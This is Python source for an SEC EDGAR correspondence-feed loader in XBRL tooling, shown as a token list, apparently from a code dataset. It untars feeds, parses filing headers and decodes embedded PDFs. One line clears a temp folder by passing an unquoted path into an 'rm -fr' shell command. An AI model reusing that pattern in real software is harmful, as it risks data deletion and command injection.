"Date_", "=_", "os_", "._", "path_", "._", "basename_", "(_", "model", "Xbrl", "_", "._", "uri_", ")_", "._", "partition_", "(_", "\".\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pub", "Date_", "=_", "datetime_", "._", "datetime_", "(_", "int_", "(_", "pub", "Date_", "[_", "0_", ":_", "4_", "]_", ")_", ",_", "int_", "(_", "pub", "Date_", "[_", "4_", ":_", "6_", "]_", ")_", ",_", "int_", "(_", "pub", "Date_", "[_", "6_", ":_", "8_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "acceptance", "Datetime_", "=_", "self_", "._", "pub", "Date_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "filing", "Date_", "=_", "self_", "._", "pub", "Date_", "._", "date_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pub", "Date_", "=_", "self_", "._", "acceptance", "Datetime_", "=_", "self_", "._", "filing", "Date_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "filing", "Date_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "period_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assign", "ed", "Si", "c_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fiscal", "Year", "End_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "html", "Url_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "url_", "=_", "entry", "Url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zipped", "Url_", "=_", "entry", "Url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ht", "m", "URL", "s_", "=_", "(_", "(_", "file", "Name_", ",_", "entry", "Url_", ")_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "status_", "=_", "\"", "not", " ", "tested", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "results_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assertions_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "object", "Index_", "=_", "len_", "(_", "model", "Xbrl", "_", "._", "model", "Objects_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Xbrl", "_", "._", "model", "Objects_", "._", "append_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SEC", "Corre", "spon", "denc", "e", "Item_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Results_", "(_", "self_", ",_", "model", "Xbrl", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assertion", "Unsu", "ccess", "ful_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "put", " ", "error", " ", "codes", " ", "first", ",", " ", "sorte", "d", ",", " ", "then", " ", "assertion", " ", "result", " ", "(", "dict", "'", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "status_", "=_", "\"", "pass", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "error_", "in_", "model", "Xbrl", "_", "._", "errors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "error_", ",_", "dict_", ")_", ":_", "#", " ", "assertion", " ", "results_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assertions_", "=_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "count", "Success", "ful_", ",_", "count", "Not", "successful_", "in_", "error_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "count", "Not", "successful_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "assertion", "Unsu", "ccess", "ful_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "status_", "=_", "\"", "unsuc", "cess", "ful", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "error", " ", "code", " ", "results_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "results_", "._", "append_", "(_", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "status_", "=_", "\"", "fail", "\"_", "#", " ", "error", " ", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "results_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "SEC", "Corre", "spon", "denc", "e", "Item_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "object", "Id_", "(_", "self_", ",_", "ref", "Id_", "=_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "a", " ", "string", " ", "surrogate", " ", "represent", "ing", " ", "the", " ", "object", " ", "index", " ", "of", " ", "the", " ", "model", " ", "document", ",", " ", "\\", "10", ";", " ", " ", " ", " ", "prepend", "ed", " ", "by", " ", "the", " ", "ref", "Id", " ", "string", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "ref", "Id", ":", " ", "A", " ", "string", " ", "to", " ", "prefix", " ", "the", " ", "ref", "Id", " ", "for", " ", "unique", "less", " ", "(", "suc", "h", " ", "as", " ", "to", " ", "use", " ", "in", " ", "tags", " ", "for", " ", "tkin", "ter", ")", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "ref", "Id", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"\\u", "{", "0", "}\\u", "{", "1", "}\"_", "._", "format_", "(_", "ref", "Id_", ",_", "self_", "._", "object", "Index_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sec", "Corre", "spon", "denc", "e", "Loader_", "(_", "model", "Xbrl", "_", ",_", "mapp", "ed", "Uri_", ",_", "filepath_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "mapp", "ed", "Uri_", "._", "startswith_", "(_", "\"", "http", "://", "www", ".", "sec", ".", "gov", "/", "Archive", "s", "/", "edg", "ar", "/", "Feed", "/\"_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "mapp", "ed", "Uri_", "._", "endswith_", "(_", "\".", "nc", ".", "tar", ".", "gz", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "daily", " ", "feed", " ", "load", "er", " ", "(", "the", " ", "rs", "s", " ", "object", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rs", "s", "Object_", "=_", "Model", "Rs", "s", "Object_", "(_", "model", "Xbrl", "_", ",_", "uri_", "=_", "mapp", "ed", "Uri_", ",_", "filepath_", "=_", "filepath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "location", " ", "for", " ", "expand", "ed", " ", "feed", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "tempdir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "model", "Xbrl", "_", "._", "model", "Manager_", "._", "cnt", "lr_", "._", "user", "App", "Dir_", ",_", "\"", "tmp", "\"_", ",_", "\"", "edg", "ar", "Feed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remove", " ", "prior", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "tempdir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "rm", " ", "-", "fr", " ", "{}\"_", "._", "format_", "(_", "tempdir_", ")_", ")_", "#", " ", "rm", "tree", " ", "doe", "s", " ", "not", " ", "work", " ", "with", " ", "this", " ", "many", " ", "files", "!", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "os_", "._", "makedirs_", "(_", "tempdir_", ",_", "exist", "\\u", "ok_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "unta", "r", " ", "to", " ", "/", "temp", "/", "are", "lle", "/", "edg", "ar", "Feed", " ", "for", " ", "faste", "r", " ", "operation_", "\\u\\u\\uNL\\u\\u\\u_", "start", "ed", "At_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Xbrl", "_", "._", "file", "Source_", "._", "open_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Xbrl", "_", "._", "file", "Source_", "._", "fs_", "._", "extracta", "ll_", "(_", "tempdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Xbrl", "_", "._", "info_", "(_", "\"", "info", "\"_", ",_", "\"", "unta", "r", " ", "edg", "ar", "Feed", " ", "temp", " ", "files", " ", "in", " ", "%", ".2", "f", " ", "sec", "\"_", "%_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "start", "ed", "At_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "model", "Object_", "=_", "model", "Xbrl", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "find", " ", "<", "table", ">", " ", "with", " ", "<", "a", ">", "Down", "load", " ", "in", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "instance", "File_", "in_", "sorted_", "(_", "os_", "._", "listdir_", "(_", "tempdir_", ")_", ")_", ":_", "#", " ", "model", "Xbrl", ".", "file", "Sou", "rce", ".", "dir", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "instance", "File_", "!=_", "\".\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rs", "s", "Object_", "._", "rs", "s", "Items_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "SEC", "Corre", "spon", "denc", "e", "Item_", "(_", "model", "Xbrl", "_", ",_", "instance", "File_", ",_", "mapp", "ed", "Uri_", "+_", "'/'_", "+_", "instance", "File_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "rs", "s", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "\"", "rs", "s", "Item", "\"_", "in_", "kwargs_", "and_", "\".", "nc", ".", "tar", ".", "gz", "/\"_", "in_", "mapp", "ed", "Uri_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rs", "s", "Item_", "=_", "kwargs_", "[_", "\"", "rs", "s", "Item", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "None_", "#", " ", "no", " ", "instance", " ", "information_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "parse", " ", "document_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "ed", "At_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file_", ",_", "encoding_", "=_", "model", "Xbrl", "_", "._", "file", "Source_", "._", "file_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "join_", "(_", "model", "Xbrl", "_", "._", "model", "Manager_", "._", "cnt", "lr_", "._", "user", "App", "Dir_", ",_", "\"", "tmp", "\"_", ",_", "\"", "edg", "ar", "Feed", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "basename_", "(_", "rs", "s", "Item_", "._", "url_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "file_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "match_", "in_", "re_", "._", "finditer_", "(_", "r", "\"[", "<", "](", "[", "^", ">]", "+)", "[", ">]", "([", "^", "<\\\\", "n", "\\\\", "r", "]*)", "\"_", ",_", "s_", ",_", "re_", "._", "MULTILINE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tag_", "=_", "match_", "._", "group_", "(_", "1_", ")_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "match_", "._", "group_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tag_", "==_", "\"", "accessi", "on", "-", "number", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "accessi", "on", "Number_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "form", "-", "type", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "form", "Type_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "v_", "!=_", "\"", "UPLOAD", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rs", "s", "Item_", "._", "do", "Not", "Process", "RSS", "item_", "=_", "True_", "#", " ", "skip", " ", "this", " ", "RSS", " ", "item", " ", "in", " ", "validat", "e", " ", "loop", ",", " ", "don", "'", "t", " ", "load", " ", "DB_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "filing", "-", "date", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rs", "s", "Item_", "._", "filing", "Date_", "=_", "datetime_", "._", "date_", "(_", "int_", "(_", "v_", "[_", "0_", ":_", "4_", "]_", ")_", ",_", "int_", "(_", "v_", "[_", "4_", ":_", "6_", "]_", ")_", ",_", "int_", "(_", "v_", "[_", "6_", ":_", "8_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Value", "Error_", ",_", "Index", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "conform", "ed", "-", "name", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "compan", "y", "Name_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "ci", "k", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "ci", "k", "Number_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "assign", "ed", "-", "sic", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "assign", "ed", "Si", "c_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "fiscal", "-", "year", "-", "end", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rs", "s", "Item_", "._", "fiscal", "Year", "End_", "=_", "v_", "[_", "0_", ":_", "2_", "]_", "+_", "'-'_", "+_", "v_", "[_", "2_", ":_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Index", "Error_", ",_", "Type", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "match_", "=_", "re_", "._", "search_", "(_", "\"<", "PD", "F", ">(.", "*)", "</", "PD", "F", ">\"_", ",_", "s_", ",_", "re_", "._", "DOTALL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "uu", "_", ",_", "io_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "Text_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "In_", "=_", "io_", "._", "Byte", "s", "IO_", "(_", "match_", "._", "group_", "(_", "1_", ")_", "._", "encode_", "(_", "encoding_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "Out_", "=_", "io_", "._", "Byte", "s", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "_", "._", "decode_", "(_", "uu", "In_", ",_", "uu", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "py", "Pd", "f_", "import_", "Pd", "f", "File", "Reader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "Out_", "._", "seek_", "(_", "0_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pdf", "In_", "=_", "Pd", "f", "File", "Reader_", "(_", "uu", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "page", "Num_", "in_", "range_", "(_", "pdf", "In_", "._", "get", "Num", "Pages_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "page", "Text_", "._", "append_", "(_", "pdf", "In_", "._", "get", "Page_", "(_", "page", "Num_", ")_", "._", "extract", "Text_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "do", " ", "we", " ", "want", " ", "a", " ", "warn", "ing", " ", "here", " ", "tha", "t", " ", "the", " ", "PD", "F", " ", "can", "'", "t", " ", "be", " ", "read", " ", "with", " ", "this", " ", "librar", "y", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "uu", "In_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "Out_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "''_", "._", "join_", "(_", "page", "Text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match_", "=_", "re_", "._", "search_", "(_", "\"<", "TEXT", ">(.", "*)", "</", "TEXT", ">\"_", ",_", "s_", ",_", "re_", "._", "DOTALL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "text_", "=_", "match_", "._", "group_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "Environ", "ment", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "#", " ", "give", " ", "up", ",", " ", "no", " ", "instance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "daily", " ", "rs", "s", " ", "item", " ", "load", "er", ",", " ", "provide", " ", "unp", "opu", "late", "d", " ", "instance", " ", "document", " ", "to", " ", "be", " ", "filled", " ", "in", " ", "by", " ", "Rs", "s", "Item", ".", "Xbrl", ".", "Load", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rs", "s", "Item_", "._", "do", "Not", "Process", "RSS", "item_", "=_", "True_", "#", " ", "skip", " ", "this", " ", "RSS", " ", "item", " ", "in", " ", "validat", "e", " ", "loop", ",", " ", "don", "'", "t", " ", "load", " ", "DB_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst", "Doc_", "=_", "Model", "Document_", "._", "create_", "(_", "model", "Xbrl", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Model", "Document_", "._", "Type_", "._", "Un", "know", "n", "XML_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rs", "s", "Item_", "._", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "Entry_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "base_", "=_", "''_", ",_", "#", " ", "block", " ", "path", "name", " ", "from", " ", "bec", "omm", "ing", " ", "absolute_", "\\u\\u\\uNL\\u\\u\\u_", "initial", "Xml_", "=_", "'<", "Du", "mm", "y", "Xm", "l", "/>'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inst", "Doc_", "=_", "Model", "Document_", "._", "create_", "(_", "model", "Xbrl", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Model", "Document_", "._", "Type_", "._", "INSTANCE", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rs", "s", "Item_", "._", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "Entry_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "base_", "=_", "''_", ",_", "#", " ", "block", " ", "path", "name", " ", "from", " ", "bec", "omm", "ing", " ", "absolute_", "\\u\\u\\uNL\\u\\u\\u_", "initial", "Xml_", "=_", "'''", "\\", "10", ";<", "xbr", "li", ":", "xbr", "l", " ", "xml", "ns", ":", "doc", "=\"", "http", "://", "are", "lle", ".", "org", "/", "doc", "/", "2014", "-0", "1", "-", "3", "1", "\"", " ", "\\", "10", ";", " ", " ", " ", " ", "xml", "ns", ":", "link", "=\"", "http", "://", "www", ".", "xbr", "l", ".", "org", "/", "2003", "/", "link", "base", "\"", " ", "\\", "10", ";", " ", " ", " ", " ", "xml", "ns", ":", "xli", "nk", "=\"", "http", "://", "www", ".", "w3", ".", "org", "/", "1999", "/", "xli", "nk", "\"", " ", "\\", "10", ";", " ", " ", " ", " ", "xml", "ns", ":", "xbr", "li", "=\"", "http", "://", "www", ".", "xbr", "l", ".", "org", "/", "2003", "/", "instance", "\">", "\\", "10", ";", " ", " ", " ", " ", "<", "link", ":", "schema", "Ref", " ", "xli", "nk", ":", "type", "=\"", "simple", "\"", " ", "xli", "nk", ":", "href", "=\"", "http", "://", "are", "lle", ".", "org", "/", "2014", "/", "doc", "-", "2014", "-0", "1", "-", "31.", "xsd", "\"/>", "\\", "10", ";", " ", " ", " ", "<", "xbr", "li", ":", "context", " ", "id", "=\"", "pub", "Date", "\">", "\\", "10", ";", " ", " ", "<", "xbr", "li", ":", "entity", ">", "\\", "10", ";", " ", " ", " ", " ", " ", "<", "xbr", "li", ":", "identifi", "er", " ", "sche", "me", "=\"", "http", "://", "www", ".", "sec", ".", "gov", "/", "CI", "K", "\">", "{", "ci", "k", "}", "</", "xbr", "li", ":", "identifi", "er", ">", "\\", "10", ";", " ", " ", "</", "xbr", "li", ":", "entity", ">", "\\", "10", ";", " ", " ", "<", "xbr", "li", ":", "period", ">", "\\", "10", ";", " ", " ", " ", " ", " ", "<", "xbr", "li", ":", "instant", ">", "{", "pub", "Date", "}", "</", "xbr", "li", ":", "instant", ">", "\\", "10", ";", " ", " ", "</", "xbr", "li", ":", "period", ">", "\\", "10", ";", " ", " ", " ", " ", "</", "xbr", "li", ":", "context", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "doc", ":", "Corre", "spon", "denc", "e", " ", "context", "Ref", "=\"", "pub", "Date", "\">", "{", "text", "}", "</", "doc", ":", "Corre", "spon", "denc", "e", ">", "\\", "10", ";<", "/", "xbr", "li", ":", "xbr", "l", ">", "\\", "10", ";", " ", " ", " ", " ", "'''_", "._", "format_", "(_", "ci", "k_", "=_", "rs", "s", "Item_", "._", "ci", "k", "Number_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pub", "Date_", "=_", "rs", "s", "Item_", "._", "pub", "Date_", "._", "date_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "text_", "=_", "text_", "._", "strip_", "(_", ")_", "._", "replace_", "(_", "\"&\"_", ",_", "\"&", "amp", ";\"_", ")_", "._", "replace_", "(_", "\"<\"_", ",_", "\"&", "lt", ";\"_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "model", "Xbrl", ".", "info", "(\"", "info", "\",", " ", "\"", "load", "ed", " ", "in", " ", "%", ".2", "f", " ", "sec", "\"", " ", "%", " ", "(", "time", ".", "time", "()", " ", "-", " ", "start", "ed", "At", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "model", "Document", "=", "inst", "Doc", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "inst", "Doc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 